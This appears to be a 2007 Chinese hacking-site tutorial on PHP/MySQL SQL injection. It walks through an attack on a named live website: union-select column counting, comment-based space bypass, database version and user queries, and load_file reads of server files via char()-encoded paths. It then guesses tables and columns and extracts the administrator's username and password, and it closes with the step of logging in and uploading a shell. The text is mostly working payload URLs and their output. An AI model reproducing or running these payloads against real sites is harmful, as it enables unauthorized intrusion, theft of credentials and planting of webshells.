黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客入门 >> 黑客常识 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[推荐]PHP注入代码详解
      ★★★★★

PHP注入代码详解

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2007-4-6 8:57:41
目标网站:http://www.hackcmd.com:81
注入点: http://www.hackcmd.com:81/news.php?id=780

1.认识注入类型

不管是asp.aspx.php,注入的标准类型必为
http://www.xxxx.com/aa.asp?p=xxx
http://www.xxxx.com/aa.aspx?p=xxx
http://www.xxxx.com/aa.php?p=xxx

2.判断是否存在注入
不管是asp.aspx.php,注入点的判断都是这样的
http://xxx.xxx.xxx.xxx/down/show.php?id=26 and 1=1返回正常页
http://xxx.xxx.xxx.xxx/down/show.php?id=26 and 1=2,返回错误页

存在注入

3.猜解准确字段数
(不明白原理的请多看看这方面的文章,这只讲实际运用)
利用union来查询准确字段,如: and 1=2 union select 1,2,3,.......直到返回正常,说明猜到准确字段数。如过滤了空格可以用 /**/代替。

http://www.hackcmd.com:81/news.php?id=780 and 1=2 union select 1,2,3,4,5,6,7
http://www.hackcmd.com:81/news.php?id=780/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,7

记下这个位置,3 和5 

4.mysql也有内置变量,可以帮助我们获得更多信息
version()(4.0.21-nt)返回当前数据库版本信息,database(){db_atextile_org_cn} 返回当前数据库名,user(),{tt1330@localhost}返回MYSQL用户名,可以帮助我们获得更多信息。这些都是很基础的东西

现在就在3和5这插入
http://www.hackcmd.com:81/news.php?id=780%20and%201=2%20union%20select%201,2,version

(),4,5,6,7
Load_file可以返回文件的内容
(1),读取系统信息
[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating 

systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003, Enterprise" 

/fastdetect /NoExecute=OptOut multi(0)disk(0)rdisk(1)partition(1)\WINDOWS="Boot Mirror C: - 

secondary plex" multi(0)disk(0)rdisk(1)partition(1)\WINDOWS="Boot Mirror C: - secondary 

plex" 

(2)读取php配置信息

我们转化一下,
load_file('c:\boot.ini')=load_file(char(99,58,92,98,111,111,116,46,105,110,105))


5.准确猜解表
如: and 1=1 union select 1,2,3,4,5,6.... from user 如果返回正常说明存在这个表。
http://www.hackcmd.com:81/news.php?id=780 and 1=1 union select 1,2,3,4,5,6,7 from admin
说明没有admin表
http://www.hackcmd.com:81/news.php?id=780 and 1=1 union select 1,2,3,4,5,6,7 from user
正常说明有这个表

6.猜解表中的字段
and 1=1 union select 1,username,3,4,5,6.... from user/*如果字段显示出字段内容则存在些字段。
http://www.hackcmd.com:81/news.php?id=780 and 1=1 union select 1,2,user,4,5,6,7 from user
http://www.hackcmd.com:81/news.php?id=780 and 1=1 union select 1,2,name,4,5,6,7 from user
有字段name
同理再猜解password字段,猜解成功再找后台登录。
http://www.hackcmd.com:81/news.php?id=780 and 1=1 union select 1,2,pass,4,5,6,7 from user
http://www.hackcmd.com:81/news.php?id=780 and 1=1 union select 1,2,pwd,4,5,6,7 from user
有字段pwd


7.暴管理员的用户名,密码是多少
http://www.hackcmd.com:81/news.php?id=780 and 1=2 union select 1,2,3,4,5,6,7 from user
http://www.hackcmd.com:81/news.php?id=780 and 1=2 union select 1,2,pwd,4,name,6,7 from user

name:admin
pwd:83863176 
7.登录后台,上传shell。
文章录入:cainiaowang    责任编辑:cainiaowang 
【字体:
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886